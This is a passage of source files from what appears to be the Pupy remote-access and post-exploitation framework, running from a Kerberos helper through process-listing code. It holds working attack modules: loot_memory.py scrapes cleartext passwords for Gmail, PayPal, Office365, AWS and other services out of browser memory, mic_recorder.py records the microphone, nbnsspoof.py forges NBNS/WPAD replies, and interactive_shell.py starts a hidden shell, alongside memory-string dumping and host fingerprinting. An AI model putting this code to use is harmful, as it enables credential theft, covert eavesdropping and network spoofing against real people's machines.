    def verify_mic(self, sid, token):
        krb.authGSSVerify(self._ctx, b64encode(sid), b64encode(token))

    verify_signature = verify_mic


class SecurityContext(Context):
    pass


def InitContext(peer_name=None, mech_type=None, req_flags=None):
    context = Context(name=peer_name, mech=mech_type, flags=req_flags)
    context.init()
    return context


================================================
FILE: pupy/packages/all/hwuuid.py
================================================
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import uuid

from io import open


def get_hw_uuid():
    zero_uuid = str(uuid.UUID('00000000-0000-0000-0000-000000000000'))

    if sys.platform == 'win32':
        try:
            import win32com

            strComputer = "."
            objWMIService = win32com.client.Dispatch("WbemScripting.SWbemLocator")
            objSWbemServices = objWMIService.ConnectServer(strComputer, "root\\cimv2")
            colItems = objSWbemServices.ExecQuery("SELECT * FROM Win32_ComputerSystemProduct")
            for objItem in colItems:
                if objItem.UUID is not None:
                    return 'wmi', objItem.UUID

        except:
            pass

        try:
            import subprocess
            return 'wmic', subprocess.check_output('wmic csproduct get uuid').strip().split('\n')[-1]
        except:
            pass

    elif 'linux' in sys.platform:
        try:
            with open('/sys/devices/virtual/dmi/id/product_uuid') as product_uuid:
                return 'dmi', uuid.UUID(product_uuid.read().strip())
        except IOError:
            pass

        try:
            with open('/etc/machine-id') as machine_id:
                return 'machine-id', machine_id.read().strip()
        except IOError:
            pass

        try:
            with open('/var/lib/dbus/machine-id') as machine_id:
                return 'machine-id', machine_id.read().strip()
        except IOError:
            pass

    return 'zero', zero_uuid


================================================
FILE: pupy/packages/all/interactive_shell.py
================================================
# -*- coding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import sys
import subprocess
import time
import traceback
import locale
import re
import os

from subprocess import PIPE, Popen
from threading import Thread

if sys.version_info.major > 2:
    from queue import Queue, Empty

    raw_input = input
else:
    from Queue import Queue, Empty

from pupy.network.lib.pupyrpc import nowait


ON_POSIX = 'posix' in sys.builtin_module_names


def write_output(out, queue):
    try:
        for c in iter(lambda: out.read(1), b""):
            queue.put(c)
        out.close()
    except:
        print(traceback.format_exc())

def flush_loop(queue, encoding):
    try:
        stdout_write=sys.stdout.write
        stdout_flush=sys.stdout.flush
        if type(sys.stdout) is not file:
            stdout_write=nowait(sys.stdout.write)
            stdout_flush=nowait(sys.stdout.flush)
        while True:
            buf=b""
            while True:
                try:
                    buf+=queue.get_nowait()
                except Empty:
                    break
            if buf:
                if encoding:
                    try:
                        buf=buf.decode(encoding)
                    except Exception:
                        pass
                stdout_write(buf)
                stdout_flush()
            time.sleep(0.05)
    except:
        print(traceback.format_exc())
        raise

def interactive_open(program=None, encoding=None):
    try:
        if program is None:
            if sys.platform=="win32":
                program="cmd.exe"
            else:
                if "SHELL" in os.environ:
                    program=os.environ["SHELL"]
                else:
                    program="/bin/sh"
                encoding=None

        fullargs=[program]
        if sys.platform=="win32":
            try:
                #couldn't find a better way, none of the following methods worked for me : kernel32.SetConsoleOutputCP(), locale.getpreferredencoding(), sys.stdout.encoding
                encoding="cp"+str(re.findall(r".*:\s*([0-9]+)",subprocess.check_output("chcp", shell=True))[0])
            except:
                pass
            if program.endswith("powershell") or program.endswith("powershell.exe"):
                fullargs=["powershell.exe", "-C", "-"] # trick to make powershell work without blocking
        if encoding is None:
            encoding=locale.getpreferredencoding()
        print("Opening interactive %s (with encoding %s)..."%(program,encoding))
        if sys.platform=="win32":
            startupinfo = subprocess.STARTUPINFO()
            startupinfo.dwFlags = subprocess.CREATE_NEW_CONSOLE | subprocess.STARTF_USESHOWWINDOW
            startupinfo.wShowWindow = subprocess.SW_HIDE
            p = Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, close_fds=ON_POSIX, universal_newlines=True, startupinfo=startupinfo)
        else:
            p = Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, close_fds=ON_POSIX, universal_newlines=True)
        q = Queue()
        q2 = Queue()
        t = Thread(target=write_output, args=(p.stdout, q))
        t.daemon = True
        t.start()

        t = Thread(target=write_output, args=(p.stderr, q2))
        t.daemon = True
        t.start()

        t = Thread(target=flush_loop, args=(q, encoding))
        t.daemon = True
        t.start()

        t = Thread(target=flush_loop, args=(q2, encoding))
        t.daemon = True
        t.start()

        while True:
            line = raw_input()
            p.stdin.write(line+"\n")
            p.stdin.flush()
            if line.strip()=="exit":
                break
    except:
        print(traceback.format_exc())
        raise


================================================
FILE: pupy/packages/all/loot_memory.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Nicolas VERDIER (contact@n1nj4.eu)

"""
This script uses memorpy to dumps cleartext passwords from browser's memory
It has been tested on both windows 10 and ubuntu 16.04
The regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import psutil
import pupy.agent
import sys
import time

from memorpy import MemWorker, ProcessException


def start(poll=20):
    if pupy.agent.manager.active(PwdMon):
        return False

    try:
        pupy.agent.manager.create(
            PwdMon
        )
    except:
        return False

    return True

def dump():
    mon = pupy.agent.manager.get(PwdMon)
    if mon:
        return mon.results

def stop():
    mon = pupy.agent.manager.get(PwdMon)
    if mon:
        pupy.agent.manager.stop(PwdMon)
        return mon.results


class PwdMon(pupy.Task):
    def __init__(self, manager, poll=60):
        super(PwdMon, self).__init__(manager)
        self.duplicates = set()
        self.poll = poll

        if sys.platform == "win32":
            self.browser_list = ["iexplore.exe", "firefox.exe", "chrome.exe", "opera.exe", "MicrosoftEdge.exe", "microsoftedgecp.exe"]
        else:
            # self.browser_list = ["firefox", "iceweasel", "chromium", "chrome"]
            self.browser_list = ["firefox"]

        # from https://github.com/putterpanda/mimikittenz
        self.mimikittenz_regex = [
            ("Google","identifier=.{1,99}&continue=.{1,99}&password=.{1,99}&"),
            ("Gmail","&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie="),
            ("Dropbox","login_email=.{1,99}&login_password=.{1,99}&"),
            ("SalesForce","&display=page&username=.{1,32}&pw=.{1,16}&Login="),
            ("Office365","login=.{1,32}&passwd=.{1,22}&PPSX="),
            ("MicrosoftOneDrive","login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT="),
            ("PayPal","login_email=.{1,48}&login_password=.{1,16}&submit=Log\\+In&browser_name"),
            ("awsWebServices","&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1="),
            ("OutlookWeb","&username=.{1,48}&password=.{1,48}&passwordText"),
            ("Slack","&crumb=.{1,70}&email=.{1,50}&password=.{1,48}"),
            ("CitrixOnline","emailAddress=.{1,50}&password=.{1,50}&submit"),
            ("Xero ","fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken="),
            ("MYOB","UserName=.{1,50}&Password=.{1,50}&RememberMe="),
            ("JuniperSSLVPN","tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit="),
            ("Twitter","username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me="),
            ("Facebook","lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&(?:default_)?persistent="),
            ("LinkedIN","session_key=.{1,50}&session_password=.{1,50}&isJsEnabled"),
            ("Malwr","&username=.{1,32}&password=.{1,22}&next="),
            ("VirusTotal","password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json"),
            ("AnubisLabs","username=.{1,42}&password=.{1,22}&login=login"),
            ("CitrixNetScaler","login=.{1,22}&passwd=.{1,42}"),
            ("RDPWeb","DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType"),
            ("JIRA","username=.{1,50}&password=.{1,50}&rememberMe"),
            ("Redmine","username=.{1,50}&password=.{1,50}&login=Login"),
            ("Github","%3D%3D&login=.{1,50}&password=.{1,50}"),
            ("BugZilla","Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}"),
            ("Zendesk","user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}"),
            ("Cpanel","user=.{1,50}&pass=.{1,50}"),
        ]

    def dump_browser_passwords(self):

        for proc in psutil.process_iter():
            if proc.name().lower() in [x.lower() for x in self.browser_list]:
                try:
                    mw = MemWorker(pid=proc.pid)
                except ProcessException:
                    continue

                for service, regex in self.mimikittenz_regex:
                    try:
                        for x in mw.mem_search(regex, ftype='re'):
                            passwd = None
                            if type(x) == tuple:
                                for i in x:
                                    try:
                                        passwd = i.read(type="string", maxlen=100, errors='ignore')
                                    except Exception:
                                        continue
                            else:
                                try:
                                    passwd = x.read(type="string", maxlen=100, errors='ignore')
                                except Exception:
                                    pass

                            if passwd:
                                result = (proc.name(), service, passwd)
                                if result not in self.duplicates:
                                    self.duplicates.add(result)
                                    yield result
                    except Exception:
                        continue

    def task(self):
        while self.active:
            for proc, service, pwd in self.dump_browser_passwords():
                self.append((proc, service, pwd))

            time.sleep(self.poll)


================================================
FILE: pupy/packages/all/memstrings.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
import memorpy
import re
import os
import logging

def try_int(x):
    try:
        return int(x)
    except:
        return x

def iterate_strings(targets, regex=None, min_length=4, max_length=51, omit='isxr', portions=4096, nodup=True, terminate=None):
    if not targets:
        return

    if type(targets) == (str, int):
        targets = [targets]

    targets = set([try_int(x) for x in targets])

    if regex is None:
        printable = re.compile('^[\x20-\x7e]{{{},{}}}$'.format(min_length, max_length))
    else:
        printable = re.compile(regex)

    for process in memorpy.Process.list():
        if terminate is not None and terminate.is_set():
            break

        try:
            if not (
                process.get('pid') in targets or os.path.basename(process.get('name')) in targets
            ):
                continue

        except:
            continue

        strings = []
        pid = process.get('pid')
        name = process.get('name')

        try:
            mw = memorpy.MemWorker(pid=process.get('pid'))
            duplicates = set()
            for _, (cstring,) in mw.mem_search('([^\x00]+)', ftype='groups', optimizations=omit):
                if terminate is not None and terminate.is_set():
                    break

                if printable.match(cstring):
                    if nodup:
                        if cstring in duplicates:
                            continue

                        duplicates.add(cstring)

                    strings.append(cstring)
                    if len(strings) >= portions:
                        yield pid, name, strings
                        del strings[:]
        except Exception as e:
            logging.exception('MemWorker failed: %s', e)

        if strings:
            yield pid, name, strings
            del strings[:]

if __name__=="__main__":
    import sys
    for pid, strings in iterate_strings(sys.argv[1].split(',')).items():
        print('pid: ', pid)
    print()
    for s in strings:
        print(s)
    print()


================================================
FILE: pupy/packages/all/mic_recorder.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
import pyaudio

FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 44100
CHUNK = 1024

def record_iter(total=10, chunk=5):
    try:
        audio = pyaudio.PyAudio()

        stream = audio.open(format=FORMAT, channels=CHANNELS,
        rate=RATE, input=True,
        frames_per_buffer=CHUNK)
        print("recording...")
        for k in range(0, int(int(total)/int(chunk))):
            data=b""
            for j in range(0, int(chunk)):
                for i in range(0, int(RATE // CHUNK * 1)):
                    data += stream.read(CHUNK)
            yield (audio.get_sample_size(FORMAT), CHANNELS, RATE, data)
        print("finished recording")
    finally:
        stream.stop_stream()
        stream.close()
        audio.terminate()


================================================
FILE: pupy/packages/all/nbnsspoof.py
================================================
#!/usr/bin/env python
#
# Originaly from :
# nbnspoof.py 03-27-2007 Robert Wesley McGrew
# wesley@mcgrewsecurity.com
# http://mcgrewsecurity.com
# Keeping things simple: You may use this code however you see fit, so
# long as you give me proper credit.  Email me if you have any
# questions.
# rewritten by Nicolas VERDIER for pupy

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
import re

from scapy.all import (
    Raw, Ether, IP, UDP, NBNSQueryRequest,
    sendp, sniff
)

def pack_ip(addr):
    temp = IP(src=addr)
    return str(temp)[0x0c:0x10]

def unpack_ip(bin):
    temp = IP()
    temp = str(temp)[:0x0c] + bin + str(temp)[0x10:]
    temp = IP(temp)
    return temp.src

def config_nbns(ip, mac_addr, regexp, verbose=True, interface=None):
    def get_packet(pkt):

        if not pkt.getlayer(NBNSQueryRequest):
            return

        if pkt.FLAGS & 0x8000:
            query = False
            addr = unpack_ip(str(pkt.getlayer(Raw))[8:])
        else:
            query = True

        if verbose:
            print(str(pkt.NAME_TRN_ID) + ":", end=' ')
            if query:
                print("Q", end=' ')
            else:
                print("R", end=' ')
            print("SRC:" + pkt.getlayer(IP).src + " DST:" + pkt.getlayer(IP).dst, end=' ')
            if query:
                print('NAME:"' + pkt.QUESTION_NAME + '"')
            else:
                print('NAME:"' + pkt.QUESTION_NAME + '"', end=' ')
                print('IP:' + addr)

        if query and regexp.match(pkt.QUESTION_NAME.rstrip(),1):
            response  = Ether(dst=pkt.src,src=mac_addr)
            response /= IP(dst=pkt.getlayer(IP).src,src=ip)
            response /= UDP(sport=137,dport=137)
            response /= NBNSQueryRequest(
                NAME_TRN_ID=pkt.getlayer(NBNSQueryRequest).NAME_TRN_ID,\
                FLAGS=0x8500,\
                QDCOUNT=0,\
                ANCOUNT=1,\
                NSCOUNT=0,\
                ARCOUNT=0,\
                QUESTION_NAME=pkt.getlayer(NBNSQueryRequest).QUESTION_NAME,\
                SUFFIX=pkt.getlayer(NBNSQueryRequest).SUFFIX,\
                NULL=0,\
                QUESTION_TYPE=pkt.getlayer(NBNSQueryRequest).QUESTION_TYPE,\
                QUESTION_CLASS=pkt.getlayer(NBNSQueryRequest).QUESTION_CLASS)
            response /= Raw()
            # Time to live: 3 days, 11 hours, 20 minutes
            response.getlayer(Raw).load += b'\x00\x04\x93\xe0'
            # Data length: 6
            response.getlayer(Raw).load += b'\x00\x06'
            # Flags: (B-node, unique)
            response.getlayer(Raw).load += b'\x00\x00'
            # The IP we're giving them:
            response.getlayer(Raw).load += pack_ip(ip)
            sendp(response,iface=interface,verbose=0)
            if verbose:
                print('Sent spoofed reply to #' + str(response.getlayer(NBNSQueryRequest).NAME_TRN_ID))

    return get_packet


def start_nbnsspoof(ip, mac_addr, timeout=600, verbose=True, interface=None, name_regexp=".*WPAD.*"):
    regexp = re.compile(name_regexp,re.IGNORECASE)
    func=config_nbns(ip, mac_addr, regexp, verbose=verbose, interface=interface)
    sniff(iface=interface,filter="udp and port 137", store=0, prn=func, timeout=timeout)


================================================
FILE: pupy/packages/all/netmon.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from time import sleep
from socket import SOCK_DGRAM, SOCK_STREAM

from psutil import net_connections, Process, Error

import pupy.agent


INTERVAL = 1


class NetMon(pupy.Task):
    results_type = list

    __slots__ = (
        'known_listeners_tcp', 'known_listeners_udp',
        'known_egress_tcp', 'known_egress_udp',
        'known_ingress_tcp', 'known_ingress_udp',
        'pending_udp_listeners'
    )

    def __init__(self, *args, **kwargs):
        super(NetMon, self).__init__(*args, **kwargs)

        self.known_listeners_tcp = set()
        self.known_egress_tcp = set()
        self.known_ingress_tcp = set()
        self.known_listeners_udp = set()
        self.known_egress_udp = set()
        self.known_ingress_udp = set()
        self.pending_udp_listeners = dict()

    def _update(self, connections):
        listeners_tcp = set()
        listeners_udp = set()

        ingress_tcp = set()
        ingress_udp = set()

        egress_tcp = set()
        egress_udp = set()

        # Register listeners first
        for connection in connections:
            if connection.raddr:
                continue

            program = ''

            if connection.pid:
                try:
                    process = Process(connection.pid)
                    program = process.exe()
                except Error:
                    program = 'pid={}'.format(connection.pid)

            listeners = None

            if connection.type == SOCK_DGRAM:
                listeners = listeners_udp
            elif connection.type == SOCK_STREAM and connection.status == 'LISTEN':
                listeners = listeners_tcp
            else:
                continue

            listeners.add((program, connection.laddr.ip, connection.laddr.port))

        new_listeners_tcp = listeners_tcp - self.known_listeners_tcp
        new_listeners_udp = listeners_udp - self.known_listeners_udp

        for new_listener_udp in new_listeners_udp:
            if new_listener_udp not in self.pending_udp_listeners:
                self.pending_udp_listeners[new_listener_udp] = 1
            else:
                self.pending_udp_listeners[new_listener_udp] += 1

        for old_listener_udp in list(self.pending_udp_listeners):
            if old_listener_udp not in new_listener_udp:
                del self.pending_udp_listeners[old_listener_udp]

        new_listeners_udp = set(
            new_listener_udp for new_listener_udp, cnt in
            self.pending_udp_listeners.items() if
            cnt > 16
        )

        for new_listener_udp in new_listeners_udp:
            del self.pending_udp_listeners[new_listener_udp]

        self.known_listeners_tcp.update(listeners_tcp)
        self.known_listeners_udp.update(new_listeners_udp)

        known_listeners_udp = set(
            (ip, port) for _, ip, port in self.known_listeners_udp
        )

        known_listeners_tcp = set(
            (ip, port) for _, ip, port in self.known_listeners_tcp
        )

        # Now update ingress/egress connections
        for connection in connections:
            if not connection.raddr:
                continue

            program = ''

            if connection.pid:
                try:
                    process = Process(connection.pid)
                    program = process.exe()
                except Error:
                    program = 'pid={}'.format(connection.pid)

            remote_ip = connection.raddr.ip
            remote_tuple = connection.raddr.ip, connection.raddr.port
            local = connection.laddr.ip, connection.laddr.port

            connlist = None
            connitem = None

            if connection.type == SOCK_DGRAM:
                if any(
                    candidate in known_listeners_udp for candidate in (
                        local, ('::', local[1]), ('0.0.0.0', local[1]),
                        ('127.0.0.1', local[1]), '::ffff:127.0.0.1', local[1])):
                    connlist = ingress_udp
                    connitem = program, local, remote_ip
                else:
                    connlist = egress_udp
                    connitem = program, remote_tuple

            elif connection.type == SOCK_STREAM:
                if any(
                    candidate in known_listeners_tcp for candidate in (
                        local, ('::', local[1]), ('0.0.0.0', local[1]),
                        ('127.0.0.1', local[1]), '::ffff:127.0.0.1', local[1])):
                    connlist = ingress_tcp
                    connitem = program, local, remote_ip
                else:
                    connlist = egress_tcp
                    connitem = program, remote_tuple

            else:
                continue

            connlist.add(connitem)

        new_ingress_udp = ingress_udp - self.known_ingress_udp
        new_ingress_tcp = ingress_tcp - self.known_ingress_tcp

        new_egress_udp = egress_udp - self.known_egress_udp
        new_egress_tcp = egress_tcp - self.known_egress_tcp

        self.known_ingress_udp.update(ingress_udp)
        self.known_ingress_tcp.update(ingress_tcp)

        self.known_egress_udp.update(egress_udp)
        self.known_egress_tcp.update(egress_tcp)

        new_objects = tuple(
            tuple(x) for x in (
                new_listeners_tcp, new_listeners_udp,
                new_ingress_tcp, new_ingress_udp,
                new_egress_tcp, new_egress_udp)
        )

        if not any(x for x in new_objects):
            return

        self.append(new_objects)

    def task(self):
        while self.active:
            connections = net_connections(kind='inet')
            self._update(connections)
            sleep(INTERVAL)


def netmon_start(event_id=None):
    if pupy.agent.manager.active(NetMon):
        return False

    pupy.agent.manager.create(NetMon, event_id=event_id)
    return True


def netmon_dump():
    netmon = pupy.agent.manager.get(NetMon)

    if netmon:
        return netmon.results


def netmon_stop():
    netmon = pupy.agent.manager.get(NetMon)
    if netmon:
        pupy.agent.manager.stop(NetMon)

        # Return summary table

        return [
            tuple(
                tuple(x) for x in (
                    netmon.known_listeners_tcp, netmon.known_listeners_udp,
                    netmon.known_ingress_tcp, netmon.known_ingress_udp,
                    netmon.known_egress_tcp, netmon.known_egress_udp
                )
            )
        ]


================================================
FILE: pupy/packages/all/odbc.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import sys

from inspect import isfunction
from threading import Thread, Event

use_system_odbc = True

if sys.platform != 'win32':
    import os
    import tempfile

    odbcinstini = tempfile.NamedTemporaryFile()
    os.environ['ODBCSYSINI'] = ''
    os.environ['ODBCINSTINI'] = odbcinstini.name

    registered = set()

    def register_driver(name, description, library):
        if name in registered:
            return False

        odbcinstini.write('\n'.join([
            '[{}]'.format(name),
            'Description={}'.format(description or 'None'),
            'Driver={}'.format(library),
            ''
        ]))
        odbcinstini.flush()
        registered.add(name)
        return True

else:
    def register_driver(name, library):
        raise NotImplementedError()

if sys.version_info.major > 2:
    basestring = str
    long = int


CONNECTIONS = {}

END = 0
HEADER = 1
DATA = 2
LOG = 3
ERROR = 4


def _get(alias):
    if alias is None and len(CONNECTIONS) > 0:
        alias = next(iter(CONNECTIONS))
        return alias, CONNECTIONS[alias]

    ctx = CONNECTIONS.get(alias, None)
    if not ctx:
        raise ValueError(
            'Alias {} is not registered, use "bind" first'.format(alias))

    return alias, ctx


def as_cursor(cleanup=True):
    def _as_cursor_wrap_gen(func, cleanup):
        def _wrapper(alias, *args, **kwargs):
            from pyodbc import connect, OperationalError, SQL_WCHAR

            try:
                key, (connstr, encoding, ctx) = _get(alias)
                cursor = ctx.cursor()
                try:
                    return func(cursor, *args, **kwargs)
                except Exception:
                    if cleanup:
                        cursor.cancel()
                    raise
                finally:
                    if cleanup:
                        cursor.close()
            except OperationalError as e:
                if e.args[0] in ('08S01', '08003'):
                    try:
                        new_ctx = connect(connstr)

                        if encoding is True:
                            new_ctx.setdecoding(SQL_WCHAR, encoding='utf-8')
                        elif encoding:
                            new_ctx.setdecoding(SQL_WCHAR, encoding=encoding)

                        CONNECTIONS[key] = connstr, encoding, new_ctx
                        ctx.close()
                        cursor = new_ctx.cursor()
                        try:
                            return func(cursor, *args, **kwargs)
                        except Exception:
                            if cleanup:
                                cursor.close()
                            raise
                        finally:
                            if cleanup:
                                cursor.close()
                    except OperationalError:
                        pass

                _, _, ctx = CONNECTIONS[key]
                ctx.close()

                del CONNECTIONS[key]
                raise

        return _wrapper

    if isfunction(cleanup):
        return _as_cursor_wrap_gen(cleanup, True)

    def _wrap(func):
        return _as_cursor_wrap_gen(func, cleanup)

    return _wrap


def bind(alias, connstring, encoding=False):
    if alias in CONNECTIONS:
        raise ValueError('Alias already registered')

    import pyodbc

    ctx = pyodbc.connect(connstring)
    if encoding is True:
        ctx.setdecoding(pyodbc.SQL_WCHAR, encoding='utf-8')
    elif encoding:
        ctx.setdecoding(pyodbc.SQL_WCHAR, encoding=encoding)

    CONNECTIONS[alias] = connstring, encoding, ctx
    return alias


def unbind(alias):
    alias, (_, _, ctx) = _get(alias)
    try:
        ctx.close()
    finally:
        del CONNECTIONS[alias]
    return alias


def _convval(value):
    if isinstance(value, (int, long, basestring)):
        return value

    return str(value)


def _sql_throw(cursor, on_data, completion, limit, portion):
    description = []
    buffer = []

    completed = False
    offset = 0

    on_data(LOG, 'Fetch started')

    for row_info in cursor.description:
        description.append(
            (row_info[0], row_info[1].__name__)
        )

    on_data(HEADER, tuple(description))

    while not completion.is_set() and (offset < limit):
        row = cursor.fetchone()

        if not row:
            if buffer:
                on_data(DATA, tuple(buffer))
                del buffer[:]

            completed = True
            cursor.close()
            on_data(END, None)
            break

        else:
            offset += 1
            buffer.append(
                tuple(
                    _convval(column) for column in row
                )
            )

        if len(buffer) >= portion:
            on_data(DATA, tuple(buffer))
            del buffer[:]

    if buffer:
        on_data(DATA, tuple(buffer))

    if not completed:
        try:
            cursor.cancel()
            on_data(LOG, 'Fetch cancelled')
        finally:
            try:
                cursor.close()
                on_data(LOG, 'Fetch completed')
            finally:
                on_data(END, None)



def _sql(cursor, on_data, completion, limit, portion=4096):
    try:
        _sql_throw(cursor, on_data, completion, limit, portion)
    except Exception as e:
        import traceback
        on_data(ERROR, '{}: {}'.format(e, traceback.format_exc()))
    finally:
        cursor.cancel()


@as_cursor
def tables(cursor):
    catalogs = {}

    for table in cursor.tables():
        catalog = table[0]
        cur = None

        if catalog not in catalogs:
            catalogs[catalog] = []

        cur = catalogs[catalog]
        cur.append((
            '.'.join(
                part for part in [
                    table[1], table[2]
                ] if part),
            table[3]
        ))

    return catalogs


@as_cursor
def describe(cursor, table):
    cursor.execute('SELECT * FROM {} WHERE 1=0'.format(table))

    return tuple(
        (info[0], info[1].__name__) for info in cursor.description
    )


@as_cursor(cleanup=False)
def many(cursor, query, limit, on_data):

    query = query.strip()
    cursor = cursor.execute(query)
    completion = Event()

    worker = Thread(
        target=_sql,
        args=(
            cursor, on_data, completion, limit
        ),
        name='SQL: ' + query
    )
    worker.daemon = True
    worker.start()

    def _completion():
        completion.set()
        cursor.cancel()

    return _completion


@as_cursor
def one(cursor, query):
    query = query.strip()
    return cursor.execute(query).fetchval()


def bounded():
    return tuple(
        (alias, connstring) for alias, (
            connstring, _, _) in CONNECTIONS.items()
    )


def drivers():
    try:
        import pyodbc
    except ImportError:
        return []

    return pyodbc.drivers()


def need_impl():
    try:
        __import__('pyodbc')
        return False
    except (ImportError, OSError):
        return True


================================================
FILE: pupy/packages/all/png.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import struct

from io import BytesIO
from zlib import compress, crc32

if sys.version_info.major > 2:
    xrange = range

PNG_FILTER = struct.pack('>B', 0)
MAGIC = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10)


def bmp_to_png(data, width, height, compression=9, reverse=False):
    # From MSS
    line = width * 3

    iterator = xrange(height)
    if reverse:
        iterator = reversed(iterator)

    scanlines = BytesIO()

    for i,y in enumerate(iterator):
        scanlines.write(PNG_FILTER)
        scanlines.write(data[y * line:y * line + line])

    scanlines = scanlines.getvalue()

    # Header: size, marker, data, CRC32
    ihdr = [b'', b'IHDR', b'', b'']
    ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0)
    ihdr[3] = struct.pack('>I', crc32(b''.join(ihdr[1:3])) & 0xffffffff)
    ihdr[0] = struct.pack('>I', len(ihdr[2]))

    # Data: size, marker, data, CRC32
    idat = [b'', b'IDAT', compress(scanlines, compression), b'']
    idat[3] = struct.pack('>I', crc32(b''.join(idat[1:3])) & 0xffffffff)
    idat[0] = struct.pack('>I', len(idat[2]))

    del scanlines

    # Footer: size, marker, None, CRC32
    iend = [b'', b'IEND', b'', b'']
    iend[3] = struct.pack('>I', crc32(iend[1]) & 0xffffffff)
    iend[0] = struct.pack('>I', len(iend[2]))

    output = BytesIO()
    output.write(MAGIC)
    for x in ihdr:
        output.write(x)
    del ihdr[:]

    for x in idat:
        output.write(x)
    del idat[:]

    for x in iend:
        output.write(x)
    del iend[:]

    return output.getvalue()


================================================
FILE: pupy/packages/all/pupyps.py
================================================
# -*- coding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import psutil

import sys
import os
import socket
import struct
import netaddr
import time

from io import open

from pupy.network.lib.convcompat import (
    as_unicode_string, as_unicode_string_deep
)

if sys.version_info[0]==3:
    long = int

families = {
    int(v): k[3:] for k, v in socket.__dict__.items()
    if k.startswith('AF_')
}

try:
    families.update({
        int(psutil.AF_LINK): 'LINK'
    })
except:
    pass

families.update(
    {-1: 'LINK'}
)

socktypes = {
    int(v): k[5:] for k, v in socket.__dict__.items()
    if k.startswith('SOCK_')
}

SELF = psutil.Process()

if sys.version_info.major > 2:
    basestring = str

    def iteritems(value):
        return value.items()

    def psutil_str(value):
        return value

else:
    def iteritems(value):
        return value.iteritems()

    def psutil_str(value):
        return as_unicode_string_deep(
            value, encoding=psutil._common.ENCODING
        )


try:
    USERNAME = psutil_str(SELF.username())
except:
    try:
        import getpass
        USERNAME = getpass.getuser()
    except:
        USERNAME = None

KNOWN_DOMAINS = (
    psutil_str('NT AUTHORITY\\'),
    psutil_str(socket.gethostname() + '\\')
)


# Try to figure out not supported fields
def make_known_fields():
    this = psutil.Process()
    candidates = (
        'cmdline', 'connections', 'cpu_percent', 'cpu_times',
        'create_time', 'cwd', 'environ', 'exe', 'io_counters',
        'memory_info', 'memory_maps', 'memory_percent', 'name',
        'nice', 'num_handles', 'num_threads', 'open_files',
        'pid', 'ppid', 'status', 'threads', 'username', 'terminal',
        'uids', 'gids', 'num_fds', 'ionice'
    )

    supported = []
    unsupported = []

    for field in candidates:
        if field not in psutil._as_dict_attrnames:
            continue

        try:
            this.as_dict([field])
            supported.append(field)
        except NotImplementedError:
            unsupported.append(field)

    return tuple(supported), tuple(unsupported)


KNOWN_FIELDS, UNSUPPORTED_FIELDS = make_known_fields()


if os.name == 'nt':
    try:
        from pupwinutils import security

        if hasattr(security, 'StationNameByPid'):
            def terminal(self):
                return security.StationNameByPid(self.pid)

            setattr(psutil.Process, 'terminal', terminal)
            psutil._as_dict_attrnames.add('terminal')

    except ImportError:
        pass


def set_relations(infos):
    if SELF.pid == infos.get('pid'):
        infos['self'] = True

    username = infos.get('username')
    if not username:
        return

    if USERNAME and USERNAME == username:
        infos['same_user'] = True

    if username.startswith(KNOWN_DOMAINS):
        _, username = username.split('\\', 1)
        infos['username'] = username


def _psutil_simplify(obj):
    if hasattr(obj, 'value'):
        return obj.value
    else:
        return obj


def _psiter(obj):
    if hasattr(obj, '_fields'):
        for field in obj._fields:
            yield as_unicode_string(field) if isinstance(
                field, bytes
            ) else field, _psutil_simplify(getattr(obj, field))

    elif hasattr(obj, '__dict__'):
        for k, v in iteritems(obj.__dict__):
            yield as_unicode_string(k) if isinstance(
                k, bytes
            ) else k, _psutil_simplify(v)

    elif isinstance(obj, dict):
        for k, v in iteritems(obj):
            yield as_unicode_string(k) if isinstance(
                k, bytes
            ) else k, _psutil_simplify(v)

    else:
        for v in obj:
            yield _psutil_simplify(v)


def _is_iterable(obj):
    return hasattr(obj, '_fields') or hasattr(obj, '__dict__')


def safe_as_dict(p, data):
    removed = set()

    data = tuple(
        field for field in data if field not in UNSUPPORTED_FIELDS
    )

    for unsafe in (None, 'cmdline', 'exe'):
        if unsafe is not None and unsafe in data:
            data = list(data)
            data.remove(unsafe)
            removed.add(unsafe)

        try:
            result = p.as_dict(data)
            for item in removed:
                result[item] = None
            return result

        except WindowsError:
            pass


def psinfo(pids):
